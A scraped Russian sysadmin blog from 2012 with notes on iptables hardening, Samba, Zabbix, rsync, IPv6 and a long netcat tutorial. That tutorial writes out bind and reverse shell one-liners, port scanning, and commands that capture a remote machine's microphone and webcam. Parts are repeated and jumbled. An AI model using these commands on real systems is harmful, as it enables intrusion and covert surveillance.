iptables -nvL FORWARD
iptables -t nat -nvL
iptables -t mangle -nvL
пятница, 30 ноября 2012 г.
понедельник, 26 ноября 2012 г.
mikrotik serial port
/system serial-terminal serial0
AT^SCID
When you are done, disconnect from the modem's serial port by pressing Ctrl-A followed by Q.
AT^SCID
When you are done, disconnect from the modem's serial port by pressing Ctrl-A followed by Q.
суббота, 20 октября 2012 г.
Samba на Debian
cat /etc/samba/smb.conf [global] bind interfaces only = yes workgroup = WORKGROUP #Укажите здесь имя рабочей группы netbios name = server2 server string = %h security = SHARE null passwords = Yes guest ok = Yes browseable = Yes guest account = nobody public = yes domain master = no local master = no preferred master = no os level = 0 usershare allow guests = yes #Public read/write [pub] #Эта секция описывает директорию с публичным доступом path = /srv/smb/pub/ #которую все могут читать и писать browseable = Yes guest only = Yes read only = no writable = yes create mask = 0644 #Archive read only #Эта секция описывает директорию с публичным доступом [Archive] #которую все могут читать но никто не может писать path = /srv/smb/archive/ browseable = Yes guest only = Yes read only = Yes writable = No create mask = 0644 #Archive read/write hidden #Эта секция описывает директорию с публичным доступом [Archive_rw] #которую все могут читать и писать, но не отображается path = /srv/smb/archive/ #в списке ресурсов то есть если чтобы зайти в неё browseable = No #нужно будет указать полный путь к ней guest only = Yes #пример для Linux smb://server/archive_rw/ read only = no #пример для Winndows \\server\archive_rw\ writable = yes create mask = 0644
вторник, 16 октября 2012 г.
squidview
- l — enter — генерация отчета, вы также можете настроить дополнительные настройки
- T — начинется учет статистики по размеру скачиваемого
- O — просмотре кто чё качал по юзерам, после T
вторник, 2 октября 2012 г.
iptables features
Makes iptables wait 15 seconds between new connections from the same IP:
Optimize netfilter's Performance Using
If you write a lot of similar rules based on mere IP, port, or both, consider using
For example:
Of course, experienced sysadmins will split the rules by subnet. But that still means hundreds of rules.
First, define an IP Set of
iptables -A INPUT -p tcp -i eth0 -m state --state NEW --dport 22 -m recent --update --seconds 15 -j DROP
iptables -A INPUT -p tcp -i eth0 -m state --state NEW --dport 22 -m recent --set -j ACCEPT
Same, but with counting of attempts:
iptables
-A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH
iptables
-A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 --rttl --name SSH -j DROP
Block Well-Known TCP Attacks
Blocking portscan
# Attempt to block portscans
# Anyone who tried to portscan us is locked out for an entire day.
iptables -A INPUT -m recent --name portscan --rcheck --seconds 86400 -j DROP
iptables -A FORWARD -m recent --name portscan --rcheck --seconds 86400 -j DROP
# Once the day has passed, remove them from the portscan list
iptables -A INPUT -m recent --name portscan --remove
iptables -A FORWARD -m recent --name portscan --remove
# These rules add scanners to the portscan list, and log the attempt.
iptables -A INPUT -p tcp -m tcp --dport 139 -m recent --name portscan --set -j LOG --log-prefix "Portscan:"
iptables -A INPUT -p tcp -m tcp --dport 139 -m recent --name portscan --set -j DROP
iptables -A FORWARD -p tcp -m tcp --dport 139 -m recent --name portscan --set -j LOG --log-prefix "Portscan:"
iptables -A FORWARD -p tcp -m tcp --dport 139 -m recent --name portscan --set -j DROP
Spoofed/Invalid packets
# Reject spoofed packets
# These adresses are mostly used for LAN's, so if these would come to a WAN-only server, drop them.
iptables -A INPUT -s 10.0.0.0/8 -j DROP
iptables -A INPUT -s 169.254.0.0/16 -j DROP
iptables -A INPUT -s 172.16.0.0/12 -j DROP
iptables -A INPUT -s 127.0.0.0/8 -j DROP
#Multicast-adresses.
iptables -A INPUT -s 224.0.0.0/4 -j DROP
iptables -A INPUT -d 224.0.0.0/4 -j DROP
iptables -A INPUT -s 240.0.0.0/5 -j DROP
iptables -A INPUT -d 240.0.0.0/5 -j DROP
iptables -A INPUT -s 0.0.0.0/8 -j DROP
iptables -A INPUT -d 0.0.0.0/8 -j DROP
iptables -A INPUT -d 239.255.255.0/24 -j DROP
iptables -A INPUT -d 255.255.255.255 -j DROP
# Drop all invalid packets
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A FORWARD -m state --state INVALID -j DROP
iptables -A OUTPUT -m state --state INVALID -j DROP
Block Smurf attacks
# Stop smurf attacks
iptables -A INPUT -p icmp -m icmp --icmp-type address-mask-request -j DROP
iptables -A INPUT -p icmp -m icmp --icmp-type timestamp-request -j DROP
iptables -A INPUT -p icmp -m icmp -j DROP
# Drop excessive RST packets to avoid smurf attacks
iptables -A INPUT -p tcp -m tcp --tcp-flags RST RST -m limit --limit 2/second --limit-burst 2 -j ACCEPT
Optimize netfilter's Performance Using ipset
If you write a lot of similar rules based on mere IP, port, or both, consider using ipset
to optimize netfilter's performance.For example:
iptables -s 192.168.1.11 -j ACCEPT
iptables -s 192.168.1.27 -j ACCEPT
iptables -s 192.168.1.44 -j ACCEPT
... hundreds of similar rules ...
iptables -s 192.168.251.177 -j ACCEPT
This means that a packet with the source address of 192.168.251.177 must first traverse hundreds of rules before it can get its verdict of ACCEPT.Of course, experienced sysadmins will split the rules by subnet. But that still means hundreds of rules.
ipset
to the rescue!First, define an IP Set of
ipmap
type:ipset -N Allowed_Hosts ipmap --network 192.168.0.0/16
Then, populate it with the addresses:for ip in $LIST_OF_ALLOWED_IP; do ipset -A Allowed_Hosts $ip; done
Finally, replace the hundreds of iptables rules above with one rule:iptables -m set --match-set Allowed_Hosts src -j ACCEPT
http://serverfault.com/questions/245711/iptables-tips-tricks
четверг, 6 сентября 2012 г.
Отключение IPv6
В первую очередь, необходимо отредактировать файл /etc/modprobe.d/aliases:
$ sudo vim /etc/modprobe.d/aliases
И привести его, к следующему виду:alias net-pf-10 ipv6 off
alias net-pf-10 off
alias ipv6 off
Если в файле присутствует строка "alias net-pf-10 ipv6", то ее необходимо закомментировать.Далее, отключаем IPv6 в ядре:
$ echo 1 | sudo tee /proc/sys/net/ipv6/conf/all/disable_ipv6
А так же, добавляем строчку эту операции в автозагрузку. Скрипт /etc/rc.local должен выглядеть приблизительно следующим образом:$ tail /etc/rc.local
#....
echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6
#
# By default this script does nothing.
exit 0
Далее, блокируем загрузку соответствующего модуля: $ echo "blacklist ipv6" | sudo tee -a /etc/modprobe.d/blacklist
# в зависимости от версии, может быть и так:
# echo "blacklist ipv6" | sudo tee -a /etc/modprobe.d/blacklist.conf
И наконец, прописываем в grub опцию, отключающую загрузку IPv6 ():$ sudo vim /boot/grub/menu.lst
Если, допустим, конфигурация загрузки у Вас выглядит так:title Ubuntu 9.10, kernel 2.6.31-20-generic
uuid 08b70bd0-5a61-4f9c-a8b8-464c5beb48e2
kernel /boot/vmlinuz-2.6.31-20-generic root=UUID=08b70bd0-5a61-4f9c-a8b8-464c5beb48e2 ro nohotplug quiet splash
initrd /boot/initrd.img-2.6.31-20-generic
quiet
то после редактирования конфигурация grub должна выглядеть так:title Ubuntu 9.10, kernel 2.6.31-20-generic
uuid 08b70bd0-5a61-4f9c-a8b8-464c5beb48e2
kernel /boot/vmlinuz-2.6.31-20-generic root=UUID=08b70bd0-5a61-4f9c-a8b8-464c5beb48e2 ro nohotplug quiet splash ipv6.disable=1
initrd /boot/initrd.img-2.6.31-20-generic
quiet
Все. Теперь необходимо перезагрузить компьютер. И убедиться, что нет никаких сетевых соединений, использующих IPv6:$ sudo netstat -npl | grep -E "tcp6|udp6" | wc -l
http://debianworld.ru/articles/otklyuchenie-ipv6-v-ubuntu-debian/
пятница, 24 августа 2012 г.
Восстановление пакетов из бэкапа
Файлик dpkg.list позволяет быстро установить все необходимые пакеты
(перед этим лучше сначала перенести учётные записи).
Пулучаем писок установленных пакетов
dpkg --get-selections > /root/backups/dpkg.list
Установка пакетов
dpkg --set-selections < dpkg.list apt-get dselect-upgrade
вторник, 21 августа 2012 г.
Usefull zabbix UserParameters
# Network: ARP entries [Entries] UserParameter=arp.entries,grep -c -v 'HW type' /proc/net/arp # System: CPU speed [] UserParameter=cpuspeed.core0,grep MHz /proc/cpuinfo | head -n 1 | cut -c 12- | awk '{ sum += $1 } END { print sum }' UserParameter=cpuspeed.core1,grep MHz /proc/cpuinfo | tail -n 1 | cut -c 12- | awk '{ sum += $1 } END { print sum }' # System: HDD SMART Temperature UserParameter=hdd_smart_temp[*],smartctl -a /dev/$1 |awk '/194 Tempera/ {print $4}' # Detailed process count UserParameter=processes_uninterruptible,ps axo state= |grep -c D UserParameter=processes_runnable,ps axo state= |grep -c R UserParameter=processes_sleeping,ps axo state= |grep -c S UserParameter=processes_stopped,ps axo state= |grep -c T UserParameter=processes_paging,ps axo state= |grep -c W UserParameter=processes_dead,ps axo state= |grep -c X UserParameter=processes_zombie,ps axo state= |grep -c Z # Number of process forks per second UserParameter=processes_forks,awk '/processes/ {print $2}' /proc/stat # Available entropy UserParameter=entropy,cat /proc/sys/kernel/random/entropy_avail # WiFi level, noise, and network values # Quality - link : general quality of the reception. UserParameter=wifi_quality,awk -F'[ :]*' '/:/ {gsub(/\. /," ",$0); print $4; }' /proc/net/wireless # Quality - level : signal strength at the receiver. UserParameter=wifi_level,awk -F'[ :]*' '/:/ {gsub(/\. /," ",$0); print $5; }' /proc/net/wireless # Quality - noise : silence level (no packet) at the receiver. UserParameter=wifi_noise,awk -F'[ :]*' '/:/ {gsub(/\. /," ",$0); print $6; }' /proc/net/wireless # Discarded - nwid : number of discarded packets due to invalid network id. UserParameter=wifi_d_nwid,awk -F'[ :]*' '/:/ {gsub(/\. /," ",$0); print $7; }' /proc/net/wireless # Discarded - crypt : number of packet unable to decrypt. UserParameter=wifi_d_crypt,awk -F'[ :]*' '/:/ {gsub(/\. /," ",$0); print $8; }' /proc/net/wireless # Discarded - misc UserParameter=wifi_d_misc,awk -F'[ :]*' '/:/ {gsub(/\. /," ",$0); print $11; }' /proc/net/wireless # Missed Beacons UserParameter=wifi_mbeac,awk -F'[ :]*' '/:/ {gsub(/\. /," ",$0); print $12; }' /proc/net/wireless # Networking: Connection tracking UserParameter=conntrack_established,sudo grep -c ESTABLISHED /proc/net/ip_conntrack UserParameter=conntrack_fin_wait,sudo grep -c FIN_WAIT /proc/net/ip_conntrack UserParameter=conntrack_time_wait,sudo grep -c TIME_WAIT /proc/net/ip_conntrack UserParameter=conntrack_syn_sent,sudo grep -c SYN_SENT /proc/net/ip_conntrack UserParameter=conntrack_assured,sudo grep -c ASSURED /proc/net/ip_conntrack UserParameter=conntrack_tcp_tot,sudo grep -c ^tcp /proc/net/ip_conntrack UserParameter=conntrack_udp_tot,sudo grep -c ^udp /proc/net/ip_conntrack # Remote Ping (specify host) UserParameter=rping[*],ping $2 -c1 -W5|awk -F '[ /]*' '/rtt/ {print $7}' || echo # Debian: packages stats - WARNING: quite heavy processes, run it infrequently UserParameter=deb_pkg_removed,grep -c '^Status: deinstall ok config-files$' /var/lib/dpkg/status UserParameter=deb_pkg_installed,grep -c '^Status: install ok installed$' /var/lib/dpkg/status UserParameter=deb_pkg_purged,grep -c '^Status: purge ok not-installed$' /var/lib/dpkg/status # Debian: last dpkg run date - useful to spot unmantained systems UserParameter=deb_dpkg_lastrun,awk 'END{print $1,$2}' /var/log/dpkg.log # iptables: bytes processed by each firewall rule. Rule number must be specified. UserParameter=iptables_input_bytes[*],iptables -nv -LINPUT|awk "NR==2+$1"|echo $((`awk '{r=$2;sub(/G/,"*1048576",r);sub(/M/,"*1024",r);print r}'`)) UserParameter=iptables_forward_bytes[*],iptables -nv -LFORWARD|awk "NR==2+$1"|echo $((`awk '{r=$2;sub(/G/,"*1048576",r);sub(/M/,"*1024",r);print r}'`)) UserParameter=iptables_output_bytes[*],iptables -nv -LOUTPUT|awk "NR==2+$1"|echo $((`awk '{r=$2;sub(/G/,"*1048576",r);sub(/M/,"*1024",r);print r}'`))
raid и smartmontools debian
Стандартная команда мониторинга состояния физических дисков не выдаст ничего полезного:
Можно использовать arcconf, но есть и другой путь:
smartctl --all /dev/sda
Можно использовать arcconf, но есть и другой путь:
Решение:
Linux создает для всех физических дисков, подключенных к контроллеру виртуальные устройства с именем /dev/sgX
- /dev/sg0 - RAID 1 controller (you will not get any info or /dev/sg0).
- /dev/sg1 - First disk in RAID 1 array.
- /dev/sg2 - Second disk in RAID 1 array.
- /dev/sg3 - Third disk in RAID 1 array.
Тест:
# smartctl -d sat --all /dev/sg1 -H
Просмотр таблиц smart
# smartctl -d sat --all /dev/sgX # smartctl -d sat --all /dev/sg1
То же самое для дисков SAS
# smartctl -d scsi --all /dev/sgX # smartctl -d scsi --all /dev/sg1 # smartctl -d scsi --all /dev/sg1 -H
пятница, 10 августа 2012 г.
ZYXEL ADSL console mode
wan adsl chandata ADSL channel data, line rate
wan adsl close Close ADSL line
wan adsl linedata near Show ADSL near end noise margin
wan adsl linedata far Show ADSL far end noise margin
wan adsl open Open ADSL line
wan adsl opencmd Glite Open ADSL line with specific standard
wan adsl opmode Show the operational mode
wan adsl rateadap [on|off] Turn on/off rate adaptive mechanism
wan adsl perfdata Show performance information,CRC, FEC, error seconds.
wan adsl reset Reset ADSL modem, and must reload the modem code again
wan adsl Status ADSL status (ex: up, down or wait for init)
wan adsl close Close ADSL line
wan adsl linedata near Show ADSL near end noise margin
wan adsl linedata far Show ADSL far end noise margin
wan adsl open Open ADSL line
wan adsl opencmd Glite Open ADSL line with specific standard
wan adsl opmode Show the operational mode
wan adsl rateadap [on|off] Turn on/off rate adaptive mechanism
wan adsl perfdata Show performance information,CRC, FEC, error seconds.
wan adsl reset Reset ADSL modem, and must reload the modem code again
wan adsl Status ADSL status (ex: up, down or wait for init)
понедельник, 6 августа 2012 г.
Настройка синхронизации каталогов/файлов с помощью rsync
Устанавливаем пакет rsync на исходном (192.168.234.41) и на копируемом (192.168.234.39) сервере:
atp-get install rsync
На копируемом сервере создаем конфигурационный файл /etc/rsyncd.conf
[freeradius]
comment = For backups openvpn
path = /etc/freeradius
use chroot = true
uid = root
gid = root
log file = /var/log/rsyncd.log
read only = false
write only = false
hosts allow = 192.168.234.41
hosts deny = *
transfer logging = false
Разкоментируем запуск службы в /etc/default/rsync
# defaults file for rsync daemon mode
# start rsync in daemon mode from init.d script?
# only allowed values are "true", "false", and "inetd"
# Use "inetd" if you want to start the rsyncd from inetd,
# all this does is prevent the init.d script from printing a message
# about not starting rsyncd (you still need to modify inetd's config yourself).
RSYNC_ENABLE=true
# which file should be used as the configuration file for rsync.
# This file is used instead of the default /etc/rsyncd.conf
# Warning: This option has no effect if the daemon is accessed
# using a remote shell. When using a different file for
# rsync you might want to symlink /etc/rsyncd.conf to
# that file.
# RSYNC_CONFIG_FILE=
# what extra options to give rsync --daemon?
# that excludes the --daemon; that's always done in the init.d script
# Possibilities are:
# --address=123.45.67.89<----><------>(bind to a specific IP address)
# --port=8730><------><------><------>(bind to specified port; default 873)
RSYNC_OPTS=''
# run rsyncd at a nice level?
# the rsync daemon can impact performance due to much I/O and CPU usage,
# so you may want to run it at a nicer priority than the default priority.
# Allowed values are 0 - 19 inclusive; 10 is a reasonable value.
RSYNC_NICE=''
# run rsyncd with ionice?
# "ionice" does for IO load what "nice" does for CPU load.
# As rsync is often used for backups which aren't all that time-critical,
# reducing the rsync IO priority will benefit the rest of the system.
# See the manpage for ionice for allowed options.
# -c3 is recommended, this will run rsync IO at "idle" priority. Uncomment
# the next line to activate this.
# RSYNC_IONICE='-c3'
# Don't forget to create an appropriate config file,
# else the daemon will not start.
Стартуем службу
/etc/init.d/rsync restart
На исходном сервере добавляем запуск команды в /etc/crontab
1 * * * * root rsync -au /etc/freeradius/ rsync://192.168.234.39/freeradius
30 8 * * 7 root rsync --del -au /etc/freeradius/ rsync://192.168.234.39/freeradius
ЗЫ. Ну и не забываем в iptables открыт tcp порт 873 на на копируемом сервере
четверг, 5 июля 2012 г.
Разрешить доступ в htacces тем кто за прокси
Обычно в апачи разрешаем доступ на сайт с помощью htaccess так
Но если же нужный пользователь сидит за прокси
Order allow,deny Deny from all Allow from 11.11.11.11 Allow from 22.22.22.22
Но если же нужный пользователь сидит за прокси
SetEnvIF X-FORWARDED-FOR "11.11.11.11" AllowIP SetEnvIF X-FORWARDED-FOR "22.22.22.22" AllowIP Order deny,allow Deny from all Allow from env=AllowIP
пятница, 29 июня 2012 г.
Netcat
Отображение тестовой HTML-странички клиенту с обычным браузером одной командой (порт 8080):
Передача файла клиенту с обычным браузером одной командой (порт 8080):
Начнем с нескольких простых примеров и далее будем их использовать как базовые.
Если Вы помните, я говорил, что netcat это Швейцарский армейский нож. Чем-бы этот нож был, если бы его нельзя было использовать как обычный нож? Вот почему netcat может использоваться вместо обычного telnet:
Вы можете добавить параметр “-v” для более подробного вывода результатов действий, и параметр (-vv) для получения статистики о том, сколько байт было передано во время текущего сеанса соединения.
Netcat может быть использован в качестве сервера. Если Вы запустите его, как указано ниже, он будет слушать на порту 12345 (на всех интерфейсах):
Такой способ разговора, когда обе стороны могут разговаривать друг с другом делает возможным использование nc для операций ввода/вывода через сеть! К примеру, Вы можете послать целую директорию с одного компьютера на другой организовав tar конвейер через nc на первом компьютере, и перенаправив вывод в другой tar процесс на втором.
Предположим, Вы хотите переслать файлы из директории /data компьютера A с IP 192.168.1.10 на компьютер B (с любым IP). Это просто:
Одиночный файл может быть послан проще:
Другое нетривиальное использование netcat в роли прокси. И порт и хост могут быть перенаправлены. Посмотрите на этот пример:
Вероятно самая мощная возможность netcat — запустить любой процесс как сервер:
$ nc localhost 12345
ls -las
total 4288
4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins users 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:
(echo -e "HTTP/1.1 200 OK\nContent-Type: text/html\n\n Hello World";) | nc -vv -l -p 8080
Передача файла клиенту с обычным браузером одной командой (порт 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: attachment;
filename=целевое-имя-которое-увидит-клиент\nContent-Type:
application/octet-stream\nConnection: close\n"; cat имя-файла-на-диске )
| nc -vv -l -p 8080
Как пользоваться nc?
(http://handynotes.ru/2010/01/unix-utility-netcat.html)
Если Вы помните, я говорил, что netcat это Швейцарский армейский нож. Чем-бы этот нож был, если бы его нельзя было использовать как обычный нож? Вот почему netcat может использоваться вместо обычного telnet:
$ nc www.google.com 80
В действительности он более удобный чем обычный telnet, потому что Вы
можете завершить соединение в любое время, нажав Ctrl+C и он
обрабатывает двоичные данные как обычные (никаких escape
последовательностей, ничего). Вы можете добавить параметр “-v” для более подробного вывода результатов действий, и параметр (-vv) для получения статистики о том, сколько байт было передано во время текущего сеанса соединения.
Netcat может быть использован в качестве сервера. Если Вы запустите его, как указано ниже, он будет слушать на порту 12345 (на всех интерфейсах):
$ nc -l -p 12345
Теперь если Вы подключитесь к порту 12345 этого хоста, все, что Вы
набираете будет передано удаленной стороне, что говорит нам о том, что
netcat можно использовать как чат сервер. Запустите на одном из
компьютеров:
# На компьютере A с IP 10.10.10.10
$ nc -l -p 12345
И подключитесь к нему с другого:$ nc -l -p 12345
# На компьютере B
$ nc 10.10.10.10 12345
Теперь обе стороны могут переговариваться!$ nc 10.10.10.10 12345
Такой способ разговора, когда обе стороны могут разговаривать друг с другом делает возможным использование nc для операций ввода/вывода через сеть! К примеру, Вы можете послать целую директорию с одного компьютера на другой организовав tar конвейер через nc на первом компьютере, и перенаправив вывод в другой tar процесс на втором.
Предположим, Вы хотите переслать файлы из директории /data компьютера A с IP 192.168.1.10 на компьютер B (с любым IP). Это просто:
# На компьютере A с IP 192.168.1.10
$ tar -cf — /data | nc -l -p 6666
$ tar -cf — /data | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 | tar -xf -
Не забудьте скомбинировать конвейер с Рipe Viewer, который был описан в предыдущей статье, что-бы посмотреть статистику того, как быстро происходит передача!$ nc 192.168.1.10 6666 | tar -xf -
Одиночный файл может быть послан проще:
# На компьютере A с IP 192.168.1.10
$ cat file | nc -l -p 6666
$ cat file | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 > file
Вы даже можете скопировать и восстановить целый диск, с помощью nc:$ nc 192.168.1.10 6666 > file
# На компьютере A с IP 192.168.1.10
$ cat /dev/hdb | nc -l -p 6666
$ cat /dev/hdb | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 > /dev/hdb
Заметим: Опция “-l” не может быть использована совместно с “-p” на
Mac компьютерах! Решение, — просто заменить “-l -p 6666? на “-l 6666?.
Как здесь:$ nc 192.168.1.10 6666 > /dev/hdb
# теперь nc слушает на порту 6666 для Mac компьютеров
$ nc -l 6666
Незаурядное использование netcat — сканирование портов. Netcat не
лучший инструмент для такой работы, но он с этим справляется (лучший,
конечно-же nmap):$ nc -l 6666
$ nc -v -n -z -w 1 192.168.1.2 1-1000
(UNKNOWN) [192.168.1.2] 445 (microsoft-ds) open
(UNKNOWN) [192.168.1.2] 139 (netbios-ssn) open
(UNKNOWN) [192.168.1.2] 111 (sunrpc) open
(UNKNOWN) [192.168.1.2] 80 (www) open
(UNKNOWN) [192.168.1.2] 25 (smtp) : Connection timed out
(UNKNOWN) [192.168.1.2] 22 (ssh) open
Параметр “-n” предотвращает от просмотра DNS, “-z” не ждет ответа от
сервера, и “-w 1? задает таймаут для соединения в 1 секунду.(UNKNOWN) [192.168.1.2] 445 (microsoft-ds) open
(UNKNOWN) [192.168.1.2] 139 (netbios-ssn) open
(UNKNOWN) [192.168.1.2] 111 (sunrpc) open
(UNKNOWN) [192.168.1.2] 80 (www) open
(UNKNOWN) [192.168.1.2] 25 (smtp) : Connection timed out
(UNKNOWN) [192.168.1.2] 22 (ssh) open
Другое нетривиальное использование netcat в роли прокси. И порт и хост могут быть перенаправлены. Посмотрите на этот пример:
$ nc -l -p 12345 | nc www.google.com 80
Эта команда запускает nc на порту 1234 и перенаправляет все
соединения на google.com:80. Если теперь Вы подключитесь к этому
компьютеру на порту 12345 и сделаете запрос, Вы обнаружите, что в ответ
не получаете никаких данных. Это правильно, потому-что мы не установили
двунаправленный канал. Если Вы добавите второй канал, Вы получите Ваши
данные на другом порту:
$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
После посылки запроса на порт 12345, получите Ваши данные ответа на порту 12346.Вероятно самая мощная возможность netcat — запустить любой процесс как сервер:
$ nc -l -p 12345 -e /bin/bash
Параметр “-e” пораждает выполнение ввода и вывода перенаправляемого
через сетевой сокет. Теперь, если Вы подключитесь к хосту на порту
12345, Вы можете использовать bash:$ nc localhost 12345
ls -las
total 4288
4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins users 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:
$ nc -l 31334 > filename $ nc 172.16.69.143 31334 < filename
2 Удаленно читать логи (первая - сервер, вторая - клиент):
$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334
3 Использовать вместо telnet (первая - telnet-сервер, вторая - клиент):
$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334
4 Сканировать на открытые порты:
$ nc -z execbit.ru 1-1024
5 Осуществлять фингерпринт сервисов на основе баннеров:
$ echo "QUIT" | nc execbit.ru 1-1024
6 Организовывать обратный шелл (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):
$ nc -e /bin/sh 172.16.69.143 31334 $ nc -l -p 31334
7 Делать микрофонную запись с удаленной машины (сервер, клиент):
$ arecord -f dat -t raw | nc -l 31337 $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg
8 Получать снимки с web-камеры удаленной машины (сервер, клиент):
$ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done $ nc localhost 31337 > photo.jpeg
Однако, важно понимать, что существует
несколько версий netcat, поведение которых может отличаться. Экземпляр,
поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших
дней. Все пять приведенных примеров он отработает без проблем. Версия
под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет.
Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:
$ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \ 172.16.69.143 31334
Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:
$ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334
В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect
говорит о том, что он работает с протоколом HTTP. Также поддерживаются
SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5.
Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:
# echo 'redirect-2525-to-25 2525/tcp' >> /etc/services # echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \ >> /etc/inetd.conf # killall -HUP inetd
Теперь весь трафик, пришедший на порт 2525,
будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом
мы можем завернуть трафик с любого порта на другой порт/машину, просто
видоизменив первые две команды.
Кстати, пользователи дистрибутивов Linux могут
вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в
Linux-системах, сам умеет перенаправлять сетевой трафик:
$ echo /etc/xinetd/redirect service redirect-2525-to-25 { disable = no type = UNLISTED socket_type = stream protocol = tcp wait = no port = 2525 redirect = 127.0.0.1 25 user = nobody }
четверг, 28 июня 2012 г.
Минт - (пере)маппирование клавиш клавиатуры
В чем проблема? Не работает Энетер который в нумпаде...
Текущие состояние дел покажет xev
KeyPress event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19285204, (688,648), root:(691,696),
state 0x10, keycode 36 (keysym 0xff0d, Return), same_screen YES,
" XLookupString gives 1 bytes: (0d) "
" XmbLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyRelease event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19285309, (688,648), root:(691,696),
state 0x10, keycode 36 (keysym 0xff0d, Return), same_screen YES,
" XLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyPress event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305238, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, KB_Enter), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
" XmbLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyRelease event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305332, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, KB_Enter), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
Запускаем команду...
xmodmap -e 'keycode 104=Return'
смотрим результат
KeyPress event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305238, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, Return), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
" XmbLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyRelease event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305332, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, Return), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
Текущие состояние дел покажет xev
KeyPress event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19285204, (688,648), root:(691,696),
state 0x10, keycode 36 (keysym 0xff0d, Return), same_screen YES,
" XLookupString gives 1 bytes: (0d) "
" XmbLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyRelease event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19285309, (688,648), root:(691,696),
state 0x10, keycode 36 (keysym 0xff0d, Return), same_screen YES,
" XLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyPress event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305238, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, KB_Enter), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
" XmbLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyRelease event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305332, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, KB_Enter), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
Запускаем команду...
xmodmap -e 'keycode 104=Return'
смотрим результат
KeyPress event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305238, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, Return), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
" XmbLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
KeyRelease event, serial 33, synthetic NO, window 0x3e00001,
root 0x137, subw 0x0, time 19305332, (688,648), root:(691,696),
state 0x10, keycode 104 (keysym 0xff0d, Return), same_screen YES,
XKeysymToKeycode returns keycode: 36
" XLookupString gives 1 bytes: (0d) "
